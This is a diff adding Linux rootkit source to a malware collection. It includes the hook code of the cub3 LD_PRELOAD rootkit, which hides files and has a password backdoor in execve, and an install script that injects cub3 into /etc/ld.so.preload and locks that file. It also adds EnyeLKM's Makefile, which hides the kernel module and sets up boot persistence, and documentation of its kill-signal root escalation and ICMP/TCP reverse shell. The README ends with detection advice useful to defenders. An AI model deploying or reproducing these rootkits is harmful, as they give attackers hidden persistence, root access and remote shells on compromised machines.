old_fremovexattr = dlsym(RTLD_NEXT, "fremovexattr"); + + if(rm_shell()) return old_fremovexattr(fd, name); + + if(hidden_fxattr(fd)) { errno = ENOENT; return -1; } + + return old_fremovexattr(fd, name); +} + +int open(const char *pathname, int flags, mode_t mode) +{ + #ifdef DEBUG + printf("[cub3]: open() called\n"); + #endif + + if(!old_open) old_open = dlsym(RTLD_NEXT, "open"); + + if(rm_shell()) return old_open(pathname, flags, mode); + + if(hidden_xattr(pathname)) { errno = ENOENT; return -1; } + + return old_open(pathname, flags, mode); +} + +int open64(const char *pathname, int flags, mode_t mode) +{ + #ifdef DEBUG + printf("[cub3]: open64() called\n"); + #endif + + if(!old_open64) old_open64 = dlsym(RTLD_NEXT, "open64"); + + if(rm_shell()) return old_open64(pathname, flags, mode); + + if(hidden_xattr(pathname)) { errno = ENOENT; return -1; } + + return old_open64(pathname, flags, mode); +} + +int openat(int dirfd, const char *pathname, int flags, mode_t mode) +{ + #ifdef DEBUG + printf("[cub3]: openat() called\n"); + #endif + + if(!old_openat) old_openat = dlsym(RTLD_NEXT, "openat"); + + if(rm_shell()) return old_openat(dirfd, pathname, flags, mode); + + if(hidden_xattr(pathname) || hidden_fxattr(dirfd)) { errno = ENOENT; return -1; } + + return old_openat(dirfd, pathname, flags, mode); +} + +int creat(const char *pathname, mode_t mode) +{ + #ifdef DEBUG + printf("[cub3]: creat() called\n"); + #endif + + if(!old_creat) old_creat = dlsym(RTLD_NEXT, "creat"); + + if(rm_shell()) return old_creat(pathname, mode); + + if(hidden_xattr(pathname)) { errno = ENOENT; return -1; } + + return old_creat(pathname, mode); +} + +int unlink(const char *pathname) +{ + #ifdef DEBUG + printf("[cub3]: unlink() called\n"); + #endif + + if(!old_unlink) old_unlink = dlsym(RTLD_NEXT, "unlink"); + + if(rm_shell()) return old_unlink(pathname); + + if(hidden_xattr(pathname)) { errno = ENOENT; return -1; } + + return old_unlink(pathname); +} + +int unlinkat(int dirfd, const char *pathname, int flags) +{ + #ifdef DEBUG + printf("[cub3]: unlinkat() called\n"); + #endif + + if(!old_unlinkat) old_unlinkat = dlsym(RTLD_NEXT, "unlinkat"); + + if(rm_shell()) return old_unlinkat(dirfd, pathname, flags); + + if(hidden_xattr(pathname) || hidden_fxattr(dirfd)) { errno = ENOENT; return -1; } + + return old_unlinkat(dirfd, pathname, flags); +} + +int rmdir(const char *pathname) +{ + #ifdef DEBUG + printf("[cub3]: rmdir() called\n"); + #endif + + if(!old_rmdir) old_rmdir = dlsym(RTLD_NEXT, "rmdir"); + + if(rm_shell()) return old_rmdir(pathname); + + if(hidden_xattr(pathname)) { errno = ENOENT; return -1; } + + return old_rmdir(pathname); +} + +int symlink(const char *target, const char *linkpath) +{ + #ifdef DEBUG + printf("[cub3]: symlink() called\n"); + #endif + + if(!old_symlink) old_symlink = dlsym(RTLD_NEXT, "symlink"); + + if(rm_shell()) return old_symlink(target, linkpath); + + if(hidden_xattr(target) || hidden_xattr(linkpath)) { errno = ENOENT; return -1; } + + return old_symlink(target, linkpath); +} + +int symlinkat(const char *target, int newdirfd, const char *linkpath) +{ + #ifdef DEBUG + printf("[cub3]: symlinkat() called\n"); + #endif + + if(!old_symlinkat) old_symlinkat = dlsym(RTLD_NEXT, "symlinkat"); + + if(rm_shell()) return old_symlinkat(target, newdirfd, linkpath); + + if(hidden_xattr(target) || + hidden_xattr(linkpath) || + hidden_fxattr(newdirfd)) + { errno = ENOENT; return -1;} + + return old_symlinkat(target, newdirfd, linkpath); +} + +int mkdir(const char *pathname, mode_t mode) +{ + #ifdef DEBUG + printf("[cub3]: mkdir() called\n"); + #endif + + if(!old_mkdir) old_mkdir = dlsym(RTLD_NEXT, "mkdir"); + + if(rm_shell()) return old_mkdir(pathname, mode); + + if(hidden_xattr(pathname)) { errno = ENOENT; return -1; } + + return old_mkdir(pathname, mode); +} + +int mkdirat(int dirfd, const char *pathname, mode_t mode) +{ + #ifdef DEBUG + printf("[cub3]: mkdirat() called\n"); + #endif + + if(!old_mkdirat) old_mkdirat = dlsym(RTLD_NEXT, "mkdirat"); + + if(rm_shell()) return old_mkdirat(dirfd, pathname, mode); + + if(hidden_xattr(pathname) || hidden_fxattr(dirfd)) { errno = ENOENT; return -1; } + + return old_mkdirat(dirfd, pathname, mode); +} + +int chdir(const char *path) +{ + #ifdef DEBUG + printf("[cub3]: chdir() called\n"); + #endif + + if(!old_chdir) old_chdir = dlsym(RTLD_NEXT, "chdir"); + + if(rm_shell()) return old_chdir(path); + + if(hidden_xattr(path)) { errno = ENOENT; return -1; } + + return old_chdir(path); +} + +int fchdir(int fd) +{ + #ifdef DEBUG + printf("[cub3]: fchdir() called\n"); + #endif + + if(!old_fchdir) old_fchdir = dlsym(RTLD_NEXT, "fchdir"); + + if(rm_shell()) return fchdir(fd); + + if(hidden_fxattr(fd)) { errno = ENOENT; return -1; } + + return old_fchdir(fd); +} + +DIR *opendir(const char *name) +{ + #ifdef DEBUG + printf("[cub3]: opendir() called\n"); + #endif + + if(!old_opendir) old_opendir = dlsym(RTLD_NEXT, "opendir"); + + if(rm_shell()) return old_opendir(name); + + if(hidden_xattr(name)) { errno = ENOENT; return NULL; } + + return old_opendir(name); +} + +DIR *opendir64(const char *name) +{ + #ifdef DEBUG + printf("[cub3]: opendir64() called\n"); + #endif + + if(!old_opendir64) old_opendir64 = dlsym(RTLD_NEXT, "opendir64"); + + if(rm_shell()) return old_opendir64(name); + + if(hidden_xattr(name)) { errno = ENOENT; return NULL; } + + return old_opendir64(name); +} + +DIR *fdopendir(int fd) +{ + #ifdef DEBUG + printf("[cub3]: fdopendir() called\n"); + #endif + + if(!old_fdopendir) old_fdopendir = dlsym(RTLD_NEXT, "fdopendir"); + + if(rm_shell()) return old_fdopendir(fd); + + if(hidden_fxattr(fd)) { errno = ENOENT; return NULL; } + + return old_fdopendir(fd); +} + +struct dirent *readdir(DIR *dirp) +{ + #ifdef DEBUG + printf("[cub3]: readdir() called\n"); + #endif + + if(!old_readdir) old_readdir = dlsym(RTLD_NEXT, "readdir"); + + if(rm_shell()) return old_readdir(dirp); + + struct dirent *dir; + char path[PATH_MAX + 1]; + + do { + dir = old_readdir(dirp); + + if(dir != NULL && (strcmp(dir->d_name, ".\0") == 0 || strcmp(dir->d_name, "/\0") == 0)) continue; + + if(dir != NULL) + { + int fd = dirfd(dirp); + char fd_path[256], *directory_name = (char *) malloc(256); + memset(directory_name, 0, 256); + snprintf(fd_path, 255, "/proc/self/fd/%d", fd); + readlink(fd_path, directory_name, 255); + snprintf(path, sizeof(path) - 1, "%s/%s", directory_name, dir->d_name); + } + } while(dir && hidden_xattr(path)); + + return dir; +} + +struct dirent64 *readdir64(DIR *dirp) +{ + #ifdef DEBUG + printf("[cub3]: readdir64() called\n"); + #endif + + if(!old_readdir64) old_readdir64 = dlsym(RTLD_NEXT, "readdir64"); + + if(rm_shell()) return old_readdir64(dirp); + + struct dirent64 *dir; + char path[PATH_MAX + 1]; + + do { + dir = old_readdir64(dirp); + + if(dir != NULL && (strcmp(dir->d_name, ".\0") == 0 || strcmp(dir->d_name, "/\0") == 0)) continue; + + if(dir != NULL) + { + int fd = dirfd(dirp); + char fd_path[256], *directory_name = (char *) malloc(256); + memset(directory_name, 0, 256); + snprintf(fd_path, 255, "/proc/self/fd/%d", fd); + readlink(fd_path, directory_name, 255); + snprintf(path, sizeof(path) - 1, "%s/%s", directory_name, dir->d_name); + } + } while(dir && hidden_xattr(path)); + + return dir; +} + +int execve(const char *filename, char *const argv[], char *const envp[]) +{ + #ifdef DEBUG + printf("[cub3]: execve() called\n"); + #endif + + if(!old_execve) old_execve = dlsym(RTLD_NEXT, "execve"); + + if(rm_shell()) + { + if(argv[1] != NULL && !strcmp(argv[1], EXECVE_PASS)) + { + #ifdef DEBUG + printf("[cub3]: user passed the CORRECT execve pass\n"); + #endif + + if(!old_setxattr) old_setxattr = dlsym(RTLD_NEXT, "setxattr"); + if(!old_removexattr) old_removexattr = dlsym(RTLD_NEXT, "removexattr"); + + if(strstr(filename, "unhide")) + { + if(argv[2] == NULL) + { + printf("Usage: ./unhide \n"); + exit(0); + } + + char *target_file = argv[2], xattr_user[40]; + snprintf(xattr_user, sizeof(xattr_user), "user.%s", HIDDEN_XATTR_STR); + old_removexattr(target_file, xattr_user); + printf("File %s unhidden.\n", target_file); + + exit(0); + } + + if(strstr(filename, "hide")) + { + if(argv[2] == NULL) + { + printf("Usage: ./hide \n"); + exit(0); + } + + char *target_file = argv[2], xattr_user[40]; + snprintf(xattr_user, sizeof(xattr_user), "user.%s", HIDDEN_XATTR_STR); + old_setxattr(target_file, xattr_user, HIDDEN_XATTR_STR, strlen(HIDDEN_XATTR_STR), XATTR_CREATE); + printf("File %s hidden.\n", target_file); + + exit(0); + } + } + + return old_execve(filename, argv, envp); + } + + if(hidden_xattr(filename)) { errno = ENOENT; return -1; } + + return old_execve(filename, argv, envp); +} diff --git a/Linux/Rootkits/Cub3/install.sh b/Linux/Rootkits/Cub3/install.sh new file mode 100644 index 0000000..cb54747 --- /dev/null +++ b/Linux/Rootkits/Cub3/install.sh @@ -0,0 +1,64 @@ +#!/bin/bash + +[ $(id -u) != 0 ] && { echo "Not root. Exiting."; exit; } + +read -p "Enter your desired install directory [/lib]: " +if [ -z $REPLY ]; then + INSTALL_DIR="/lib" +else + INSTALL_DIR=$REPLY +fi + +read -p "Enter your desired xattr magic string [DEFAULT_XATTR_STR]: " +if [ -z $REPLY ]; then + XATTR_STR="DEFAULT_XATTR_STR" +else + XATTR_STR=$REPLY +fi + +read -p "Enter your desired owner environment variable (used to remove cub3) [DEFAULT_VAR]: " +if [ -z $REPLY ]; then + OWNER_ENV_VAR="DEFAULT_VAR" +else + OWNER_ENV_VAR=$REPLY +fi + +read -p "Enter your desired execve password (used for dynamically hiding/unhiding files/directories) [DEFAULT_PASS]: " +if [ -z $REPLY ]; then + EXECVE_PASS="DEFAULT_PASS" +else + EXECVE_PASS=$REPLY +fi + + +[ -f /usr/bin/apt-get ] && { echo "Installing attr via apt-get"; apt-get --yes --force-yes install attr &>/dev/null; } + +echo "Configuring and compiling cub3" + +sed -i "s:CHANGEME0:$XATTR_STR:" config.h +sed -i "s:CHANGEME1:$OWNER_ENV_VAR:" config.h +sed -i "s:CHANGEME2:$EXECVE_PASS:" config.h + +CFLAGS="-ldl" +WFLAGS="-Wall" +FFLAGS="-fomit-frame-pointer -fPIC" +gcc -std=gnu99 cub3.c -O0 $WFLAGS $FFLAGS -shared $CFLAGS -Wl,--build-id=none -o cub3.so +strip cub3.so +setfattr -n user.$XATTR_STR -v $XATTR_STR cub3.so + +sed -i "s:$XATTR_STR:CHANGEME0:" config.h +sed -i "s:$OWNER_ENV_VAR:CHANGEME1:" config.h +sed -i "s:$EXECVE_PASS:CHANGEME2:" config.h + +echo "cub3 successfully configured and compiled." +echo "Installing cub3.so to $INSTALL_DIR and injecting into ld.so.preload" + +mv cub3.so $INSTALL_DIR/ +echo "$INSTALL_DIR/cub3.so" > /etc/ld.so.preload +export $OWNER_ENV_VAR=1 +setfattr -n user.$XATTR_STR -v $XATTR_STR /etc/ld.so.preload +chattr +ia /etc/ld.so.preload + +echo "cub3 successfully installed on the system." +echo "Remember you can remove it by setting your environment variable ($OWNER_ENV_VAR) in a root shell and removing ld.so.preload." +echo "Remember to run chattr -ia on ld.so.preload, or else you'll be unable to remove it. :p" diff --git a/Linux/Rootkits/Enyelkm/.github/FUNDING.yml b/Linux/Rootkits/Enyelkm/.github/FUNDING.yml new file mode 100644 index 0000000..647d629 --- /dev/null +++ b/Linux/Rootkits/Enyelkm/.github/FUNDING.yml @@ -0,0 +1,5 @@ +# These are supported funding model platforms + +github: [therealdreg] +patreon: dreg +custom: ["https://www.paypal.me/therealdreg"] diff --git a/Linux/Rootkits/Enyelkm/LEEME.txt b/Linux/Rootkits/Enyelkm/LEEME.txt new file mode 100644 index 0000000..a0ecb6b --- /dev/null +++ b/Linux/Rootkits/Enyelkm/LEEME.txt @@ -0,0 +1,128 @@ + --------------------------------------------- + ENYELKM v1.2 | by RaiSe && David Reguera + Linux Rootkit x86 kernel v2.6.x + < raise@enye-sec.org > + < davidregar@yahoo.es > + < http://www.enye-sec.org > + --------------------------------------------- + + + Testeado en kernels: + v2.6.3-7mdk + v2.6.17-5mdv + v2.6.11-1.1369_FC4 + + v2.6.14.3 + v2.6.18-1.2798.fc6 + v2.6.21.1 + + Para compilar: + + # make + + Para instalar: + + # make install + + Para compilar solo 'conectar': + + # make conectar + + + * Lo que hace make install: + + - Copia el fichero enyelkm.ko a /etc/.enyelkmOCULTAR.ko, de forma + que una vez cargado el modulo el fichero permanecera oculto. + + - Añade la cadena insmod /etc/.enyelkmOCULTAR.ko entre las marcas + # y # al fichero /etc/rc.d/rc.sysinit, + de forma que una vez cargado el modulo esas lineas permaneceran + ocultas. + + - Carga el modulo mediante insmod /etc/.enyelkmOCULTAR.ko. + + - Intenta sobreescribir la fecha de archivo modificado de + /etc/rc.d/rc.sysinit con la de /etc/rc.d/rc, y ponerle el + atributo +i a /etc/.enyelkmOCULTAR.ko con touch y chattr + respectivamente. + + + * Ocultar ficheros, directorios y procesos: + + Se ocultan los ficheros, directorios y procesos que contengan + la subcadena 'OCULTAR' en su nombre. En el caso de los procesos + tambien se ocultan los que tengan gid = 0x489196ab. La shell + remota (ver acceso remoto mas abajo) corre con ese gid, por lo + que la shell y todos los procesos que se lancen desde ella + permaneceran ocultos. + + + * Ocultar partes de un fichero: + + Se oculta en un fichero todo lo que este entre las marcas: + (marcas incluidas) + + # + texto a ocultar + # + + + * Consiguiendo root local: + + Haciendo: # kill -s 58 12345 + se consigue id 0. + + + * Ocultacion del modulo a 'lsmod' y '/sys/module': + + El modulo se auto_oculta al cargarlo. + + + * Acceso remoto: + + Usar el programa 'conectar', que va incluido en el tgz. Se compila con + el make del LKM o con 'make conectar'. Hay dos formas de pedir la shell, + via ICMP o via TCP. Siempre se recibira una reverse shell, estan + implementadas las dos formas por si los ICMP estan bloqueados por algun + firewall intermedio. Si se usa el modo ICMP el programa enviara un ICMP + especial, y abrira un puerto a la escucha en la que recibira la shell. + Si se usa el modo TCP se conectara al puerto indicado, enviara una firma, + y abrira un puerto a la escucha en la que recibira la reverse shell. Para + salir de la shell: control+c. + + Modo ICMP: './conectar -icmp ip_maquina_con_lkm' + Modo TCP: './conectar -tcp ip_maquina_con_lkm puerto_tcp_abierto_en_ella' + + + * Ocultacion de la conexion de la reverse shell al netstat: + + Se auto_ocultan todas las conexiones a la ip que envio el ICMP/TCP con el + programa conectar. + + + * Desinstalacion del modulo: + + El modulo no puede descargarse mediante 'rmmod' ya que permanece + oculto. Y aunque estuviera visible no se podria ya que el sistema + dejaria de funcionar. La unica forma es reiniciando el sistema. En caso + de haber hecho 'make install', una forma de quitar la cadena oculta + de /etc/rc.d/rc.sysinit es editando ese fichero y guardandolo sin + modificar nada, de esa forma se guardara sin la cadena ya que el + editor no la 've'. Luego reiniciar. Una forma sencilla de mirar si + el LKM esta cargado es haciendo un 'kill -s 58 12345' y mirando si + da root. + + + [ -- ] + + + --> En la version 1.3: + + Intentar adaptarlo para que compile y funcione en kernels 2.4.x + y x86_64. + + + -> Agradecimientos: + + Gracias a Int27h por el consejo para conseguir sysenter_entry :). + + Gracias a kenshin por el metodo para ocultar el lkm a '/sys/module' + y por las pruebas ;). + + + +EOF diff --git a/Linux/Rootkits/Enyelkm/LICENSE b/Linux/Rootkits/Enyelkm/LICENSE new file mode 100644 index 0000000..42fef74 --- /dev/null +++ b/Linux/Rootkits/Enyelkm/LICENSE @@ -0,0 +1,22 @@ +The MIT License (MIT) + +Copyright (c) 2015 David Reguera Garcia aka Dreg + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. + diff --git a/Linux/Rootkits/Enyelkm/Makefile b/Linux/Rootkits/Enyelkm/Makefile new file mode 100644 index 0000000..2f7d84c --- /dev/null +++ b/Linux/Rootkits/Enyelkm/Makefile @@ -0,0 +1,63 @@ +obj-m += enyelkm.o +enyelkm-objs := base.o kill.o ls.o read.o remoto.o +DELKOS = base.ko kill.ko ls.ko read.ko remoto.ko +S_ENT = 0x`grep sysenter_entry /proc/kallsyms | head -c 8` +VERSION = v1.2 +CC = gcc +CFLAGS += -fomit-frame-pointer + +all: + @echo + @echo "----------------------------------------------" + @echo " ENYELKM $(VERSION) by RaiSe && David Reguera" + @echo " raise@enye-sec.org | davidregar@yahoo.es" + @echo " http://www.enye-sec.org" + @echo "----------------------------------------------" + @echo + @echo "#define DSYSENTER $(S_ENT)" > data.h + make -C /lib/modules/$(shell uname -r)/build SUBDIRS=$(PWD) modules + $(CC) conectar.c -o conectar -Wall + @rm -f $(DELKOS) + +conectar: + @echo + @echo "----------------------------------------------" + @echo " ENYELKM $(VERSION) by RaiSe && David Reguera" + @echo " raise@enye-sec.org | davidregar@yahoo.es" + @echo " http://www.enye-sec.org" + @echo "----------------------------------------------" + @echo + $(CC) conectar.c -o conectar -Wall + @echo + +install: + @echo + @echo "----------------------------------------------" + @echo " ENYELKM $(VERSION) by RaiSe && David Reguera" + @echo " raise@enye-sec.org | davidregar@yahoo.es" + @echo " http://www.enye-sec.org" + @echo "----------------------------------------------" + @echo + @cp -f enyelkm.ko /etc/.enyelkmOCULTAR.ko + @chattr +i /etc/.enyelkmOCULTAR.ko > /dev/null 2> /dev/null + @echo -e "#\ninsmod /etc/.enyelkmOCULTAR.ko" \ + \ " > /dev/null 2> /dev/null\n#" \ + \ >> /etc/rc.d/rc.sysinit + @touch -r /etc/rc.d/rc /etc/rc.d/rc.sysinit > /dev/null 2> /dev/null + @insmod /etc/.enyelkmOCULTAR.ko + @echo + enyelkm.ko copiado a /etc/.enyelkmOCULTAR.ko + @echo + instalada cadena de autocarga en /etc/rc.d/rc.sysinit oculta + @echo + enyelkm cargado ! + @echo + +clean: + @echo + @echo "----------------------------------------------" + @echo " ENYELKM $(VERSION) by RaiSe && David Reguera" + @echo " raise@enye-sec.org | davidregar@yahoo.es" + @echo " http://www.enye-sec.org" + @echo "----------------------------------------------" + @echo + @rm -rf *.o *.ko *.mod.c .*.cmd .*.d data.h conectar .tmp_versions Modules.symvers + make -C /lib/modules/$(shell uname -r)/build SUBDIRS=$(PWD) clean + diff --git a/Linux/Rootkits/Enyelkm/README.md b/Linux/Rootkits/Enyelkm/README.md new file mode 100644 index 0000000..2016a29 --- /dev/null +++ b/Linux/Rootkits/Enyelkm/README.md @@ -0,0 +1,179 @@ +# enyelkm +LKM rootkit for Linux x86 with the 2.6 kernel. It inserts salts inside system_call and sysenter_entry. + +Please, consider make a donation: https://github.com/sponsors/therealdreg + +## EnyeLKM Overview + +Written by Jacob Williams - 2008, thx for your presentation! + +### What is EnyeLKM? + +* EnyeLKM is a Linux rootkit that is used by an attacker to maintain persistence on compromised Linux machines running a 2.6 kernel. +* As indicated by its name, it is implemented as a loadable kernel module. +* It cannot be used by itself to compromise a Linux machine. Once a machine is compromised, it is used to provide a persistent back door. +* Since the code is inserted into kernel space it does not show up in the process list and can impact ALL user mode programs running on the infected machine. +* By using the rootkit to maintain persistence on the infected machine, the attacker does not have to use an attack vector against the machine every time he needs access. +* Using the rootkit is more advantageous than traditional methods of leaving a backdoor account or running a user mode network backdoor as these can be easily detected. + +### What does it provide? + +EnyeLKM offers the following features: + +* Hiding directories +* Hiding files +* Hiding specific content within files +* Hiding processes +* Privilege escalation to root from a non-root login +* Reverse shell +* The EnyeLKM module itself is hidden from lsmod + +### Hiding files and data + +EnyeLKM hides files, directories and processes by inserting jumps to trampoline functions in both the system_call() and sys_enter() instructions in the kernel. All user space applications (read() , write(), etc) invoke kernel space functionality (system calls) through one of these two functions. + +When EnyeLKM is compiled, a special hide string is defined in config.h as the variable SHIDE. The default string is “OCULTARâ€. An English translation of the rootkit is also available that uses a default hide string of “HIDE^ITâ€. Since many of your attackers are script kiddies that don't know how to code, it has been my experience that most of the kits found use one of these two strings (although others are certainly possible). + +The SHIDE string is significant. Any file or directory name containing this string will be hidden from view when performing a directory listing. + +The SHIDE string is also used to hide the kernel module itself on the filesystem. It is installed in /etc/ by default but will usually not be visible because the module is hiding it. + +A common reason to compromise Linux servers is to install a warez site, IRC server, or botnet. In any of these cases it helps to have hidden directories that a system administrator cannot see. This can be accomplished by including the SHIDE string in the directory name. Of course many gigabytes of missing disk space (such as in the case of a warez site) may be noticed by a good system administrator. + +Only the top level hidden directory needs to include the SHIDE string in its name. All child directories and files can have normal names. Since the directory name will only be known to those meant to access it, the child directories and files will not be found by any interlopers. + +Two additional strings are defined in read.c as MOPEN and MCLOSE. These are set to by default to “#†and #†respectively. Any data inside a file between these two strings (including the strings themselves) will not be returned from a read call. + +This is used to load the kernel module on boot. By default the command to load the EnyeLKM module will be contained between these strings in /etc/rc.d/rc.sysinit. Before the module is loaded (i.e. while the system is booting) these strings will be visible in the file. As soon as the module is loaded, the strings will not be visible in the file. For this reason, simply inspecting the /etc/rc.d/rc.sysinit file for the insmod command will not reveal the rootkit. + +As a matter of course, simply because you think you know the location of a hidden directory or kernel module does not mean that you should probe it (list it, stat any files, etc) on a live system where the module may be running. + +While EnyeLKM does not employ any defensive technology some other rootkits do. This could easily be added to EnyeLKM by a skilled programmer. An example of defensive technology would be to monitor read attempts to a hidden directory by an unprivileged process (one without the magic gid). If an unprivileged process tries to read from the hidden directory the rootkit may try to delete itself or write random data to the disk to obfuscate digital forensics. + +While I have not seen any rootkits that try to destroy the system, I have seen several examples that will remove themselves from memory and delete from disk if probed. Corrupting the whole system is a trivial matter from kernel space. + +The bottom line is this: only probe hidden directories for data when you know it is safe. How do you know when it is safe? It is only safe when you are examining a disk image (or the actual disk) of the compromised machine from a trusted computer. You can't trust anything the compromised machine tells you. + +### Hiding processes + +If the attacker wishes to run an IRC server, warez site, or other malicious enterprise simply hiding data won't do. The processes used for this activity would be obvious to an administrator just by running a simple 'ps' command. EnyeLKM inspects a process's GID to determine whether or not to hide it from the processlist. The GID of processes to hide is defined in config.h. By default it is set to 0x489196ab. + +Just like the SHIDE string, the gid for hidden processes is rarely if ever changed by script kiddies when building the rootkit. One way to detect the rootkit while running on the system is to run a specially crafted utility that runs in a tight loop and changes it's GID to the default EnyeLKM GID. If the target process disappears from the process list, something is hiding the process. EnyeLKM is likely installed on the system. + +For those familiar with Linux operation, the process is hidden from tools such as ps by hiding the PID's directory from the /proc filesystem. The directory is still there and can be changed into (if the PID is known) just not read in a directory listing. + +A utility to find the EnyeLKM GID was written as part of the exploration of this rootkit. Code can be downloaded from the link below. http://www.williamsworx.com/wiki/pub/Linux/EnyeLKM/findEnyeGID.c + +### Hiding network connections + +Hiding network connections is just as important as hiding processes on a system if the attacker is to outsmart a savvy system administrator. + +EnyeLKM will hide network connections from processes that have the special GID from netstat and other tools that depend on reading the /proc filesystem. + +There is a (laborious) way to find network connections from view by EnyeLKM that still works as of EnyeLKM 1.2 but may be corrected in a future version. It involves counting network connections. Even though EnyeLKM correctly hides the network connections, it does not correctly update the TCP and UDP stack statistics. + +### Privilege Escalation + +When an attacker is a legitimate user, he may need to escalate his privileges to perform additional malicious activity. While the attacker needed root privileges to install the rootkit, the user may never have gained an interactive shell. Another possibility is that the user gained root privileges but the known root password has been changed. + +In either case, the user can gain root by executing a kill command. Running the following command in a shell will grant that shell root privileges: +'kill -s 58 12345' + +In this case '58' is the signal and 12345 is the process ID. There need not be any process ID 12345 running on the system. The kill system call is trapped by the kernel and the shell running the command is given root privileges. + +The signal and PID are default values and can be changed in kill.c. + +Note that in this case, the shell is given root privileges by changing the UID to zero in the shell's kernel task_struct. No changes are visible on the shell. Confirmation that the UID has been changed can be achieved by trying something that ordinarily can't be done as the root user. + +### Network Backdoor + +Most often the attacker will need to connect to the compromised machine remotely. A traditional method of providing backdoor access is to run a user mode program that opens a port for the attacker to connect to. This is not especially stealthy since it can be seen in netstat output. Even if the user mode program is being blocked from netstat output by the methods described earlier the open port still may be detected with active port scanning (such as an internal security team performing a nessus or nmap scan). + +To solve this issue, EnyeLKM offers a method remote access commonly referred to as reverse shell by callback. The attacker sends a specially crafted ICMP echo request packet to the machine with the rootkit installed. Since the rootkit is installed in kernel space, it is able to examine all incoming network packets. When it detects an ICMP echo request, it checks the ICMP payload to see if it includes the pre-shared key and connection parameters. If the payload includes the key and connection parameters the rootkit machine calls back to the machine sending the ping on the specified port. The connection will give the attacker a root shell. + +The newest version of EnyeLKM also offers TCP connection triggering. + +The shell returned will be hidden from netstat and the process list. + +Connections established using the network backdoor are not encrypted. + +The network backdoor in EnyeLKM has matured with the rootkit. + +Versions 1.1.2 – 1.1.4 only offered ICMP triggering. Since many hosts do not process ICMP messages (or they may be blocked by perimeter firewalls) a TCP available as an option in the 1.2 build. When using the TCP option for triggering, a listening port on the target machine must be used. Attempting to trigger a closed port will not work as the kernel level monitor is inserted in the TCP stack above where port multiplexing occurs. + +Network Address Translation (NAT) is an issue that EnyeLKM's backdoor is not programmed to deal with. There is no option to trigger a callback address in the connection program. When the attacker and target are on different sides of a NAT device, the backdoor cannot be triggered. When the target receives the trigger packet, the source address appears to be the internal address of the NAT device. The target will call back to the internal address of the NAT device and will most likely receive a RST packet from the NAT device. + +***** Don't take this to mean your machines are safe from this backdoor if they sit behind a NAT device. I personally know a hacker who has programmed a patch to the rootkit and connection program that overcome the NAT problem by adding a callback address to the trigger packet. The code modifications were actually quite trivial. ***** + +![ScreenShot](https://github.com/David-Reguera-Garcia-Dreg/enyelkm/blob/master/nat.png) + +Why NAT poses a problem: + +In this diagram, the blue lines represent the trigger and the red lines represent the callback. The same problem occurs whether an ICMP or TCP trigger is used. Assume in this case that a TCP trigger is used. The TCP SYN packet will make it through the NAT device. The target reply (normal SYN/ACK) will be returned through the NAT device since there is a Port Address Translation (PAT) rule in place for this connection. + +Encoded in the TCP packet is the port to call back to (default 8822). The target now tries to establish a connection to that port on the source address. The problem is that the target sees the source address as 192.168.0.1 instead of 172.16.0.5. Since no PAT rule exists for this IP/Port combination the connection is actively refused by the NAT device. + +A pre-shared key is used to offer some sort of authentication for the rootkit. Without a configurable key, anyone with the connection program could connect to any machine with EnyeLKM installed. The default key is rarely changed by script kiddies. It is defined in config.h (ICMP_CLAVE) and is set by default “ENYELKMICMPKEYâ€. It can only be changed at compile time, so it is considerably less flexible than standard password based authentication. In EnyeLKM 1.2, the TCP shared key defaults to “ENYELKMTCPKEYâ€. It is defined in config.h as TCP_CLAVE. + +The client (attacker) side connection program is called “connectarâ€. It must be run from the client machine as root since it requires raw socket access to craft the trigger packet. + +After the connectar program sends the trigger packet, it opens a TCP port on the sending machine and waits for the attacked machine to call back to the open port. If no port is specified when the program is run, the callback will occur on TCP 8822. Any NIDS in place should be configured to flag TCP 8822 connections for inspection. + +Client Usage: +./connectar -icmp IP_address [callback port] +./connectar -tcp IP_address destination_port [callback port] + +### Detection + +Just using lsmod and looking for the module name is out since the module name contains the SHIDE string and will be filtered out on a call to read. The module name could also have been changed to something normal before loading. There does not appear to be a way to detect the module by name when it is loaded in memory. + +Assuming the attacker has compiled the rootkit with all defaults, a file or directory created with a name containing the string “OCULTAR†(“HIDE^IT†for the English version) will be hidden. As an investigator on a live system, you can create a file with the SHIDE string. If the created file is hidden, EnyeLKM is installed on the system. Just because the file is visible, this does not mean that EnyeLKM is not present on the system. It may just have been compiled with options other than the default. + +Hiding text in a file is somewhat more reliable since the MOPEN and MCLOSE defines are not found in config.h and can easily be overlooked. Try creating a file that contains these tags and write some specific text between the tags. Save the file and cat it from the command line. To reiterate, just because this fails does not mean that the system is clean. + +Hidden processes can be found by scanning the /proc filesystem for directories that are present but not being listed with the standard readdir() calls. Proof of concept code can be found at the link below. Once the process's directory in /proc is located, the command line and environment of the process can be determined. This should offer some clue about what the attacker is doing with the compromised machine. + +Obviously the same advice offered earlier about probing hidden directories still applies here. Some safety exists with this method however. Because the /proc filesystem is only present in memory access and modification times are unlikely to be tracked by the attacker's code. + +If at all possible, it is best to first discover the magic GID and run the detection process with that GID. + +http://www.williamsworx.com/wiki/pub/Linux/EnyeLKM/findHiddenProc.tgz + +Hidden network connections are somewhat more difficult to find. Connections are hidden from /proc (where netstat gets its output) but connection statistics are not updated. Hidden network connections can be discovered by comparing the number of established connections in /proc/net/stat to the number of connections in netstat output. While this does not expose what the network connections are doing, it does show that some are being hidden and warrants further investigation. + +If libpcap and tcpdump are installed on the victim machine, these can be used to ferret out active network connections that are not being displayed in netstat. It would be better on a non-switched network to run the sniffer from a non-suspect machine since tcpdump may be compromised as well. The connections EnyeLKM hides from netstat are not hidden from tcpdump, even when running on the compromised machine. Note that when using this method, traffic must be captured for at least the TCP timeout period for the machine you are investigating. A hidden connection will only be revealed by tcpdump if traffic is sent over the connection while tcpdump is listening. By capturing for longer than the TCP timeout period, traffic is guaranteed to be passed on the 